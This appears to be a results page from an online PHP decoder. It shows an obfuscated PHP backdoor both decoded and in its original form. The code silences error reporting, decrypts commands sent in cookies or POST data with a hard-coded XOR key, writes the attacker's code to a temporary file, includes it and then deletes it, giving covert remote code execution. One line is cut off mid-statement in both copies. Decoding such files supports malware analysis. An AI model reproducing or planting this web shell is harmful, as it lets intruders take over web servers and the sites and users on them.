Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$nedttgzni = chr(102).chr(105).'l'.'e'.chr(294-199)."\160".chr(142-25).chr(116).chr(95)."..

Decoded Output download

<?   $nedttgzni = chr(102).chr(105).'l'.'e'.chr(294-199)."p".chr(142-25).chr(116).chr(95)."c".chr(928-817)."n".chr(116).'e'.chr(753-643).chr(116).chr(115); 
$sfnjlec = chr(98).chr(153-56).'s'.chr(405-304).chr(54).chr(818-766).chr(424-329)."d".chr(101).chr(99)."o".chr(100).chr(1041-940); 
$kyxylyiw = "i"."n"."i"."_"."s"."e"."t"; 
$rzqzasbpy = chr(838-721).chr(837-727)."l"."i"."n".'k'; 
 
 
@$kyxylyiw('e'.'r'."r".chr(111)."r".chr(492-397).chr(108).chr(111).chr(526-423), NULL); 
@$kyxylyiw("l".'o'."g"."_".'e'."r"."r".chr(111).chr(162-48).chr(848-733), 0); 
@$kyxylyiw(chr(721-612)."a".'x'."_".'e'.chr(893-773).chr(101)."c"."u".'t'.'i'."o"."n"."_".'t'.chr(105).chr(583-474)."e", 0); 
@set_time_limit(0); 
 
function gndmufvbip($gkgifx, $vbrshnz) 
{ 
    $ehfme = ""; 
    for ($ofpxgjs = 0; $ofpxgjs < strlen($gkgifx);) { 
        for ($j = 0; $j < strlen($vbrshnz) && $ofpxgjs < strlen($gkgifx); $j++, $ofpxgjs++) { 
            $ehfme .= chr(ord($gkgifx[$ofpxgjs]) ^ ord($vbrshnz[$j])); 
        } 
    } 
    return $ehfme; 
} 
 
$ohdvz = array_merge($_COOKIE, $_POST); 
$gwafvjbzkp = '0aa16af9-56de-4605-8fc5-438c787818bf'; 
foreach ($ohdvz as $afdikhdwgl => $gkgifx) { 
    $gkgifx = @unserialize(gndmufvbip(gndmufvbip($sfnjlec($gkgifx), $gwafvjbzkp), $afdikhdwgl)); 
    if (isset($gkgifx['a'.chr(304-197)])) { 
        if ($gkgifx[chr(492-395)] == chr(105)) { 
            $ofpxgjs = array( 
                "p"."v" => @phpversion(), 
                chr(115)."v" => "3.5", 
            ); 
            echo @serialize($ofpxgjs); 
        } elseif ($gkgifx[chr(492-395)] == 'e') { 
            $aeegn = "./" . md5($gwafvjbzkp) . chr(46)."i".chr(110).chr(99); 
            @$nedttgzni($aeegn, "<" . chr(63).chr(112).chr(104).'p'." ".'@'.'u'."n".chr(978-870)."i".chr(110).chr(175-68)."(".'_'.'_'.chr(70).chr(604-531).'L'.chr(369-300).chr(631-536).chr(720-625).')'.chr(431-372).' ' . $gk$ 
            @include($aeegn); 
            @$rzqzasbpy($aeegn); 
        } 
        exit(); 
    } 
} 
 
 
 
 ?>

Did this file decode correctly?

Original Code

 $nedttgzni = chr(102).chr(105).'l'.'e'.chr(294-199)."\160".chr(142-25).chr(116).chr(95)."\143".chr(928-817)."\x6e".chr(116).'e'.chr(753-643).chr(116).chr(115);
$sfnjlec = chr(98).chr(153-56).'s'.chr(405-304).chr(54).chr(818-766).chr(424-329)."\144".chr(101).chr(99)."\157".chr(100).chr(1041-940);
$kyxylyiw = "\x69"."\x6e"."\151"."\x5f"."\x73"."\145"."\164";
$rzqzasbpy = chr(838-721).chr(837-727)."\x6c"."\151"."\156".'k';


@$kyxylyiw('e'.'r'."\x72".chr(111)."\162".chr(492-397).chr(108).chr(111).chr(526-423), NULL);
@$kyxylyiw("\x6c".'o'."\x67"."\x5f".'e'."\x72"."\x72".chr(111).chr(162-48).chr(848-733), 0);
@$kyxylyiw(chr(721-612)."\141".'x'."\137".'e'.chr(893-773).chr(101)."\x63"."\165".'t'.'i'."\157"."\x6e"."\137".'t'.chr(105).chr(583-474)."\145", 0);
@set_time_limit(0);

function gndmufvbip($gkgifx, $vbrshnz)
{
    $ehfme = "";
    for ($ofpxgjs = 0; $ofpxgjs < strlen($gkgifx);) {
        for ($j = 0; $j < strlen($vbrshnz) && $ofpxgjs < strlen($gkgifx); $j++, $ofpxgjs++) {
            $ehfme .= chr(ord($gkgifx[$ofpxgjs]) ^ ord($vbrshnz[$j]));
        }
    }
    return $ehfme;
}

$ohdvz = array_merge($_COOKIE, $_POST);
$gwafvjbzkp = '0aa16af9-56de-4605-8fc5-438c787818bf';
foreach ($ohdvz as $afdikhdwgl => $gkgifx) {
    $gkgifx = @unserialize(gndmufvbip(gndmufvbip($sfnjlec($gkgifx), $gwafvjbzkp), $afdikhdwgl));
    if (isset($gkgifx['a'.chr(304-197)])) {
        if ($gkgifx[chr(492-395)] == chr(105)) {
            $ofpxgjs = array(
                "\160"."\166" => @phpversion(),
                chr(115)."\166" => "3.5",
            );
            echo @serialize($ofpxgjs);
        } elseif ($gkgifx[chr(492-395)] == 'e') {
            $aeegn = "./" . md5($gwafvjbzkp) . chr(46)."\151".chr(110).chr(99);
            @$nedttgzni($aeegn, "<" . chr(63).chr(112).chr(104).'p'."\x20".'@'.'u'."\156".chr(978-870)."\x69".chr(110).chr(175-68)."\x28".'_'.'_'.chr(70).chr(604-531).'L'.chr(369-300).chr(631-536).chr(720-625).')'.chr(431-372).' ' . $gk$
            @include($aeegn);
            @$rzqzasbpy($aeegn);
        }
        exit();
    }
}

Function Calls

None

Variables

None

Stats

MD5 6a83aab8e376a6922843e3f7831f5c2e
Eval Count 0
Decode Time 50 ms